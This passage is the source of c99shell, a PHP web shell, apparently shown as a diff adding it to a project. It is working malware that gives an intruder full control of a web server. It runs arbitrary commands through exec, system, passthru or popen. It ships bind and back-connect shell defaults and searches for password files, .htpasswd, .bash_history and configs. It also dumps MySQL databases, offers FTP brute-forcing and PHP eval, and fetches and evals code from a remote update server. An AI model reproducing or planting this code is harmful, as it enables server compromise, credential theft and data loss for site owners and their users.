"txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"), + "exe"=>array("sh","install","bat","cmd"), + "ini"=>array("ini","inf"), + "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"), + "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"), + "sdb"=>array("sdb"), + "phpsess"=>array("sess"), + "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar") +); + +// Registered executable file-types. +// array( +// string "command{i}"=>array("ext1","ext2","ext3",...), +// ... +// ) +// {command}: %f% = filename +$exeftypes = array( + getenv("PHPRC")." -q %f%" => array("php","php3","php4"), + "perl %f%" => array("pl","cgi") +); + +/* Highlighted files. + array( + i=>array({regexp},{type},{opentag},{closetag},{break}) + ... + ) + string {regexp} - regular exp. + int {type}: + 0 - files and folders (as default), + 1 - files only, 2 - folders only + string {opentag} - open html-tag, e.g. "<b>" (default) + string {closetag} - close html-tag, e.g. "</b>" (default) + bool {break} - if true and found match then break +*/ +$regxp_highlight = array( + array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example + array("config.php",1) // example +); + +$safemode_diskettes = array("a"); // This variable for disabling diskett-errors. + // array (i=>{letter} ...); string {letter} - letter of a drive +//$safemode_diskettes = range("a","z"); +$hexdump_lines = 8; // lines in hex preview file +$hexdump_rows = 24; // 16, 24 or 32 bytes in one line + +$nixpwdperpage = 100; // Get first N lines from /etc/passwd + +$bindport_pass = "c99"; // default password for binding +$bindport_port = "31373"; // default port for binding +$bc_port = "31373"; // default port for back-connect +$datapipe_localport = "8081"; // default port for datapipe + +// Command-aliases +if (!$win) +{ + $cmdaliases = array( + array("-----------------------------------------------------------", "ls -la"), + array("find all suid files", "find / -type f -perm -04000 -ls"), + array("find suid files in current dir", "find . -type f -perm -04000 -ls"), + array("find all sgid files", "find / -type f -perm -02000 -ls"), + array("find sgid files in current dir", "find . -type f -perm -02000 -ls"), + array("find config.inc.php files", "find / -type f -name config.inc.php"), + array("find config* files", "find / -type f -name \"config*\""), + array("find config* files in current dir", "find . -type f -name \"config*\""), + array("find all writable folders and files", "find / -perm -2 -ls"), + array("find all writable folders and files in current dir", "find . -perm -2 -ls"), + array("find all service.pwd files", "find / -type f -name service.pwd"), + array("find service.pwd files in current dir", "find . -type f -name service.pwd"), + array("find all .htpasswd files", "find / -type f -name .htpasswd"), + array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"), + array("find all .bash_history files", "find / -type f -name .bash_history"), + array("find .bash_history files in current dir", "find . -type f -name .bash_history"), + array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"), + array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"), + array("list file attributes on a Linux second extended file system", "lsattr -va"), + array("show opened ports", "netstat -an | grep -i listen") + ); +} +else +{ + $cmdaliases = array( + array("-----------------------------------------------------------", "dir"), + array("show opened ports", "netstat -an") + ); +} + +$sess_cookie = "c99shvars"; // Cookie-variable name + +$usefsbuff = true; //Buffer-function +$copy_unset = false; //Remove copied files from buffer after pasting + +//Quick launch +$quicklaunch = array( + array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" height=\"20\" width=\"20\" border=\"0\">",$surl), + array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"), + array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"), + array("<img src=\"".$surl."act=img&img=up\" alt=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"), + array("<img src=\"".$surl."act=img&img=refresh\" alt=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",""), + array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=search&d=%d"), + array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=fsbuff&d=%d"), + array("<b>Encoder</b>",$surl."act=encoder&d=%d"), + array("<b>Tools</b>",$surl."act=tools&d=%d"), + array("<b>Proc.</b>",$surl."act=processes&d=%d"), + array("<b>FTP brute</b>",$surl."act=ftpquickbrute&d=%d"), + array("<b>Sec.</b>",$surl."act=security&d=%d"), + array("<b>SQL</b>",$surl."act=sql&d=%d"), + array("<b>PHP-code</b>",$surl."act=eval&d=%d"), + array("<b>Update</b>",$surl."act=update&d=%d"), + array("<b>Feedback</b>",$surl."act=feedback&d=%d"), + array("<b>Self remove</b>",$surl."act=selfremove"), + array("<b>Logout</b>","#\" onclick=\"if (confirm('Are you sure?')) window.close()") +); + +//Highlight-code colors +$highlight_background = "#c0c0c0"; +$highlight_bg = "#FFFFFF"; +$highlight_comment = "#6A6A6A"; +$highlight_default = "#0000BB"; +$highlight_html = "#1300FF"; +$highlight_keyword = "#007700"; +$highlight_string = "#000000"; + +@$f = $_REQUEST["f"]; +@extract($_REQUEST["c99shcook"]); + +//END CONFIGURATION + + +// \/ Next code isn't for editing \/ +@set_time_limit(0); +$tmp = array(); +foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));} +$s = "!^(".implode("|",$tmp).")$!i"; +if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://ccteam.ru/releases/cc99shell\">c99shell</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");} +if (!empty($login)) +{ + if(empty($md5_pass)) {$md5_pass = md5($pass);} + if (($_SERVER["PHP_AUTH_USER"] != $login ) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) + { + if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));} + header("WWW-Authenticate: Basic realm=\"c99shell ".$shver.": ".$login_txt."\""); + header("HTTP/1.0 401 Unauthorized"); + exit($accessdeniedmess); + } +} +if ($act != "img") +{ +$lastdir = realpath("."); +chdir($curdir); +if ($selfwrite or $updatenow) {@ob_clean(); c99sh_getupdate($selfwrite,1); exit;} +$sess_data = unserialize($_COOKIE["$sess_cookie"]); +if (!is_array($sess_data)) {$sess_data = array();} +if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();} +if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();} + +$disablefunc = @ini_get("disable_functions"); +if (!empty($disablefunc)) +{ + $disablefunc = str_replace(" ","",$disablefunc); + $disablefunc = explode(",",$disablefunc); +} + +if (!function_exists("c99_buff_prepare")) +{ +function c99_buff_prepare() +{ + global $sess_data; + global $act; + foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + $sess_data["copy"] = array_unique($sess_data["copy"]); + $sess_data["cut"] = array_unique($sess_data["cut"]); + sort($sess_data["copy"]); + sort($sess_data["cut"]); + if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}} + else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}} +} +} +c99_buff_prepare(); +if (!function_exists("c99_sess_put")) +{ +function c99_sess_put($data) +{ + global $sess_cookie; + global $sess_data; + c99_buff_prepare(); + $sess_data = $data; + $data = serialize($data); + setcookie($sess_cookie,$data); +} +} +foreach (array("sort","sql_sort") as $v) +{ + if (!empty($_GET[$v])) {$$v = $_GET[$v];} + if (!empty($_POST[$v])) {$$v = $_POST[$v];} +} +if ($sort_save) +{ + if (!empty($sort)) {setcookie("sort",$sort);} + if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);} +} +if (!function_exists("str2mini")) +{ +function str2mini($content,$len) +{ + if (strlen($content) > $len) + { + $len = ceil($len/2) - 2; + return substr($content, 0,$len)."...".substr($content,-$len); + } + else {return $content;} +} +} +if (!function_exists("view_size")) +{ +function view_size($size) +{ + if (!is_numeric($size)) {return false;} + else + { + if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} + elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} + elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} + else {$size = $size . " B";} + return $size; + } +} +} +if (!function_exists("fs_copy_dir")) +{ +function fs_copy_dir($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($o = readdir($h)) !== false) + { + if (($o != ".") and ($o != "..")) + { + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + if (!$ret) {return $ret;} + } + } + closedir($h); + return true; +} +} +if (!function_exists("fs_copy_obj")) +{ +function fs_copy_obj($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (!is_dir(dirname($t))) {mkdir(dirname($t));} + if (is_dir($d)) + { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_copy_dir($d,$t); + } + elseif (is_file($d)) {return copy($d,$t);} + else {return false;} +} +} +if (!function_exists("fs_move_dir")) +{ +function fs_move_dir($d,$t) +{ + $h = opendir($d); + if (!is_dir($t)) {mkdir($t);} + while (($o = readdir($h)) !== false) + { + if (($o != ".") and ($o != "..")) + { + $ret = true; + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = false;}} + if (!$ret) {return $ret;} + } + } + closedir($h); + return true; +} +} +if (!function_exists("fs_move_obj")) +{ +function fs_move_obj($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (is_dir($d)) + { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_move_dir($d,$t); + } + elseif (is_file($d)) + { + if(copy($d,$t)) {return unlink($d);} + else {unlink($t); return false;} + } + else {return false;} +} +} +if (!function_exists("fs_rmdir")) +{ +function fs_rmdir($d) +{ + $h = opendir($d); + while (($o = readdir($h)) !== false) + { + if (($o != ".") and ($o != "..")) + { + if (!is_dir($d.$o)) {unlink($d.$o);} + else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);} + } + } + closedir($h); + rmdir($d); + return !is_dir($d); +} +} +if (!function_exists("fs_rmobj")) +{ +function fs_rmobj($o) +{ + $o = str_replace("\\",DIRECTORY_SEPARATOR,$o); + if (is_dir($o)) + { + if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;} + return fs_rmdir($o); + } + elseif (is_file($o)) {return unlink($o);} + else {return false;} +} +} +if (!function_exists("myshellexec")) +{ +function myshellexec($cmd) +{ + global $disablefunc; + $result = ""; + if (!empty($cmd)) + { + if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);} + elseif (($result = `$cmd`) !== false) {} + elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_resource($fp = popen($cmd,"r"))) + { + $result = ""; + while(!feof($fp)) {$result .= fread($fp,1024);} + pclose($fp); + } + } + return $result; +} +} +if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}} +if (!function_exists("view_perms")) +{ +function view_perms($mode) +{ + if (($mode & 0xC000) === 0xC000) {$type = "s";} + elseif (($mode & 0x4000) === 0x4000) {$type = "d";} + elseif (($mode & 0xA000) === 0xA000) {$type = "l";} + elseif (($mode & 0x8000) === 0x8000) {$type = "-";} + elseif (($mode & 0x6000) === 0x6000) {$type = "b";} + elseif (($mode & 0x2000) === 0x2000) {$type = "c";} + elseif (($mode & 0x1000) === 0x1000) {$type = "p";} + else {$type = "?";} + + $owner["read"] = ($mode & 00400)?"r":"-"; + $owner["write"] = ($mode & 00200)?"w":"-"; + $owner["execute"] = ($mode & 00100)?"x":"-"; + $group["read"] = ($mode & 00040)?"r":"-"; + $group["write"] = ($mode & 00020)?"w":"-"; + $group["execute"] = ($mode & 00010)?"x":"-"; + $world["read"] = ($mode & 00004)?"r":"-"; + $world["write"] = ($mode & 00002)? "w":"-"; + $world["execute"] = ($mode & 00001)?"x":"-"; + + if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";} + if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";} + if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";} + + return $type.join("",$owner).join("",$group).join("",$world); +} +} +if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return false;}} +if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return false;}} +if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return false;}} +if (!function_exists("parse_perms")) +{ +function parse_perms($mode) +{ + if (($mode & 0xC000) === 0xC000) {$t = "s";} + elseif (($mode & 0x4000) === 0x4000) {$t = "d";} + elseif (($mode & 0xA000) === 0xA000) {$t = "l";} + elseif (($mode & 0x8000) === 0x8000) {$t = "-";} + elseif (($mode & 0x6000) === 0x6000) {$t = "b";} + elseif (($mode & 0x2000) === 0x2000) {$t = "c";} + elseif (($mode & 0x1000) === 0x1000) {$t = "p";} + else {$t = "?";} + $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0; + $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0; + $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0; + return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w); +} +} +if (!function_exists("parsesort")) +{ +function parsesort($sort) +{ + $one = intval($sort); + $second = substr($sort,-1); + if ($second != "d") {$second = "a";} + return array($one,$second); +} +} +if (!function_exists("view_perms_color")) +{ +function view_perms_color($o) +{ + if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";} + elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";} + else {return "<font color=green>".view_perms(fileperms($o))."</font>";} +} +} +if (!function_exists("c99getsource")) +{ +function c99getsource($fn) +{ + global $c99sh_sourcesurl; + $array = array( + "c99sh_bindport.pl" => "c99sh_bindport_pl.txt", + "c99sh_bindport.c" => "c99sh_bindport_c.txt", + "c99sh_backconn.pl" => "c99sh_backconn_pl.txt", + "c99sh_backconn.c" => "c99sh_backconn_c.txt", + "c99sh_datapipe.pl" => "c99sh_datapipe_pl.txt", + "c99sh_datapipe.c" => "c99sh_datapipe_c.txt", + ); + $name = $array[$fn]; + if ($name) {return file_get_contents($c99sh_sourcesurl.$name);} + else {return false;} +} +} +if (!function_exists("c99sh_getupdate")) +{ +function c99sh_getupdate($update = true) +{ + $url = $GLOBALS["c99sh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["shver"]))."&updatenow=".($updatenow?"1":"0")."&"; + $data = @file_get_contents($url); + if (!$data) {return "Can't connect to update-server!";} + else + { + $data = ltrim($data); + $string = substr($data,3,ord($data{2})); + if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return false;} + if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";} + if ($data{0} == "\x99" and $data{1} == "\x03") + { + $string = explode("\x01",$string); + if ($update) + { + $confvars = array(); + $sourceurl = $string[0]; + $source = file_get_contents($sourceurl); + if (!$source) {return "Can't fetch update!";} + else + { + $fp = fopen(__FILE__,"w"); + if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download c99shell.php manually <a href=\"".$sourceurl."\"><u>here</u></a>.";} + else {fwrite($fp,$source); fclose($fp); return "Thanks! Updated with success.";} + } + } + else {return "New version are available: ".$string[1];} + } + elseif ($data{0} == "\x99" and $data{1} == "\x04") {eval($string); return 1;} + else {return "Error in protocol: segmentation failed! (".$data.") ";} + } +} +} +if (!function_exists("mysql_dump")) +{ +function mysql_dump($set) +{ + global $shver; + $sock = $set["sock"]; + $db = $set["db"]; + $print = $set["print"]; + $nl2br = $set["nl2br"]; + $file = $set["file"]; + $add_drop = $set["add_drop"]; + $tabs = $set["tabs"]; + $onlytabs = $set["onlytabs"]; + $ret = array(); + $ret["err"] = array(); + if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");} + if (empty($db)) {$db = "db";} + if (empty($print)) {$print = 0;} + if (empty($nl2br)) {$nl2br = 0;} + if (empty($add_drop)) {$add_drop = true;} + if (empty($file)) + { + $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql"; + } + if (!is_array($tabs)) {$tabs = array();} + if (empty($add_drop)) {$add_drop = true;} + if (sizeof($tabs) == 0) + { + // retrive tables-list + $res = mysql_query("SHOW TABLES FROM ".$db, $sock); + if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} + } + $out = "# Dumped by C99Shell.SQL v. ".$shver." +# Home page: http://ccteam.ru +# +# Host settings: +# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"." +# Date: ".date("d.m.Y H:i:s")." +# DB: \"".$db."\" +#--------------------------------------------------------- +"; + $c = count($onlytabs); + foreach($tabs as $tab) + { + if ((in_array($tab,$onlytabs)) or (!$c)) + { + if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";} + // recieve query for create table structure + $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock); + if (!$res) {$ret["err"][] = mysql_smarterror();} + else + { + $row = mysql_fetch_row($res); + $out .= $row["1"].";\n\n"; + // recieve table variables + $res = mysql_query("SELECT * FROM `$tab`", $sock); + if (mysql_num_rows($res) > 0) + { + while ($row = mysql_fetch_assoc($res)) + { + $keys = implode("`, `", array_keys($row)); + $values = array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = implode("', '", $values); + $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; + $out .= $sql; + } + } + } + } + } + $out .= "#---------------------------------------------------------------------------------\n\n"; + if ($file) + { + $fp = fopen($file, "w"); + if (!$fp) {$ret["err"][] = 2;} + else + { + fwrite ($fp, $out); + fclose ($fp); + } + } + if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} + return $out; +} +} +if (!function_exists("mysql_buildwhere")) +{ +function mysql_buildwhere($array,$sep=" and",$functs=array()) +{ + if (!is_array($array)) {$array = array();} + $result = ""; + foreach($array as $k=>$v) + { + $value = ""; + if (!empty($functs[$k])) {$value .= $functs[$k]."(";} + $value .= "'".addslashes($v)."'"; + if (!empty($functs[$k])) {$value .= ")";} + $result .= "`".$k."` = ".$value.$sep; + } + $result = substr($result,0,strlen($result)-strlen($sep)); + return $result; +} +} +if (!function_exists("mysql_fetch_all")) +{ +function mysql_fetch_all($query,$sock) +{ + if ($sock) {$result = mysql_query($query,$sock);} + else {$result = mysql_query($query);} + $array = array(); + while ($row = mysql_fetch_array($result)) {$array[] = $row;} + mysql_free_result($result); + return $array; +} +} +if (!function_exists("mysql_smarterror")) +{ +function mysql_smarterror($type,$sock) +{ + if ($sock) {$error = mysql_error($sock);} + else {$error = mysql_error();} + $error = htmlspecialchars($error); + return $error; +} +} +if (!function_exists("mysql_query_form")) +{ +function mysql_query_form() +{ + global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) + { + echo "<table border=0><tr><td><form action=\"".$sql_surl."\" name=\"c99sh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=\"sql_act\" value=\"query\"><input type=hidden name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=submit value=\"No\"></form></td>"; + if ($tbl_struct) + { + echo "<td valign=\"top\"><b>Fields:</b><br>"; + foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "� <a href=\"#\" onclick=\"document.c99sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";} + echo "</td></tr></table>"; + } + } + if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;} +} +} +if (!function_exists("mysql_create_db")) +{ +function mysql_create_db($db,$sock="") +{ + $sql = "CREATE DATABASE `".addslashes($db)."`;"; + if ($sock) {return mysql_query($sql,$sock);} + else {return mysql_query($sql);} +} +} +if (!function_exists("mysql_query_parse")) +{ +function mysql_query_parse($query) +{ + $query = trim($query); + $arr = explode (" ",$query); + /*array array() + { + "METHOD"=>array(output_type), + "METHOD1"... + ... + } + if output_type == 0, no output, + if output_type == 1, no output if no error + if output_type == 2, output without control-buttons + if output_type == 3, output with control-buttons + */ + $types = array( + "SELECT"=>array(3,1), + "SHOW"=>array(2,1), + "DELETE"=>array(1), + "DROP"=>array(1) + ); + $result = array(); + $op = strtoupper($arr[0]); + if (is_array($types[$op])) + { + $result["propertions"] = $types[$op]; + $result["query"] = $query; + if ($types[$op] == 2) + { + foreach($arr as $k=>$v) + { + if (strtoupper($v) == "LIMIT") + { + $result["limit"] = $arr[$k+1]; + $result["limit"] = explode(",",$result["limit"]); + if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);} + unset($arr[$k],$arr[$k+1]); + } + } + } + } + else {return false;} +} +} +if (!function_exists("c99fsearch")) +{ +function c99fsearch($d) +{ + global $found; + global $found_d; + global $found_f; + global $search_i_f; + global $search_i_d; + global $a; + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($f = readdir($h)) !== false) + { + if($f != "." && $f != "..") + { + $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== false) || ($a["name_regexp"] and ereg($a["name"],$f)); + if (is_dir($d.$f)) + { + $search_i_d++; + if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;} + if (!is_link($d.$f)) {c99fsearch($d.$f);} + } + else + { + $search_i_f++; + if ($bool) + { + if (!empty($a["text"])) + { + $r = @file_get_contents($d.$f); + if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";} + if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);} + if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);} + else {$bool = strpos(" ".$r,$a["text"],1);} + if ($a["text_not"]) {$bool = !$bool;} + if ($bool) {$found[] = $d.$f; $found_f++;} + } + else {$found[] = $d.$f; $found_f++;} + } + } + } + } + closedir($h); +} +} +if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}} +//Sending headers +@ob_start(); +@ob_implicit_flush(0); +function onphpshutdown() +{ + global $gzipencode,$ft; + if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) + { + $v = @ob_get_contents(); + @ob_end_clean(); + @ob_start("ob_gzHandler"); + echo $v; + @ob_end_flush(); + } +} +function c99shexit() +{ + onphpshutdown(); + exit; +} +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); +if (empty($tmpdir)) +{ + $tmpdir = ini_get("upload_tmp_dir"); + if (is_dir($tmpdir)) {$tmpdir = "/tmp/";} +} +$tmpdir = realpath($tmpdir); +$tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir); +if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;} +if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;} +else {$tmpdir_logs = realpath($tmpdir_logs);} +if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") +{ + $safemode = true; + $hsafemode = "<font color=red>ON (secure)</font>"; +} +else {$safemode = false; $hsafemode = "<font color=green>OFF (not secure)</font>";} +$v = @ini_get("open_basedir"); +if ($v or strtolower($v) == "on") {$openbasedir = true; $hopenbasedir = "<font color=red>".$v."</font>";} +else {$openbasedir = false; $hopenbasedir = "<font color=green>OFF (not secure)</font>";} +$sort = htmlspecialchars($sort); +if (empty($sort)) {$sort = $sort_default;} +$sort[1] = strtolower($sort[1]); +$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE"); +if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();} +$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE)); +@ini_set("highlight.bg",$highlight_bg); //FFFFFF +@ini_set("highlight.comment",$highlight_comment); //#FF8000 +@ini_set("highlight.default",$highlight_default); //#0000BB +@ini_set("highlight.html",$highlight_html); //#000000 +@ini_set("highlight.keyword",$highlight_keyword); //#007700 +@ini_set("highlight.string",$highlight_string); //#DD0000 +if (!is_array($actbox)) {$actbox = array();} +$dspact = $act = htmlspecialchars($act); +$disp_fullpath = $ls_arr = $notls = null; +$ud = urlencode($d); +?><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title><?php echo getenv("HTTP_HOST"); ?> - c99shell</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, 